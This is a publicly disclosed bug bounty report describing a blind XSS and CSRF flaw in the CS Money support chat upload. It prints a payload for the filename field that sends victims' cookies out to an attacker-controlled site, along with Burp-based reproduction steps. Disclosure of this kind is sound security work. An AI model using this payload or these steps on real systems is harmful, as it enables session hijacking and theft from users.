CS Money · Report #1010466

Blind XSS on image upload

Validstatus

criticalseverity

$1,000bounty

450upvotes

26 Dec 2020disclosed

Summary

This was my first report, so it is a little mess.

Let me explain: I found a XSS when I send a image in the support chat and change the image name to some script.

The CSRF part you can ignore, since the hacker can inject XSS in the support, then send a message (as support) with the XSS image to every user. Yeah, it is a massive XSS, tons of users would be affected.

In the comments I explain I little better.

How it was found

Summary:

The CSRF vulnerability make a request for support.cs.money/upload_file; This upload_file does not have csrf token/ origin/ reference verification!
The XSS allows to execute JS. The payload of the XSS stay in the param 'filename' of the CSRF request.

Steps To Reproduce:

XSS

use a proxy like burp suite and turn intercept on
upload a file to the support chat
change the filename to "><img src=1 onerror="url=String'fromCharCode'+encodeURIComponent(document['cookie']);xhttp=&#x20new&#x20XMLHttpRequest();xhttp'open';xhttp'send';
open the chat support and xss will activate

CSRF

create a file html in some server
create a form with a file and the payload name
send to a new tab. This one will post the image with payload

Supporting Material/References:

https://onlinestringtools.com/convert-string-to-ascii to convert the attacker's website link to ascii

Impact

Allows the hacker to execute javascript. If the victim click in a link provided by the hacker, then go to the chat support in ANY TIME after this, XSS will be activated. For the guys of support chat, they don't even need to click in the link for the XSS activate.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original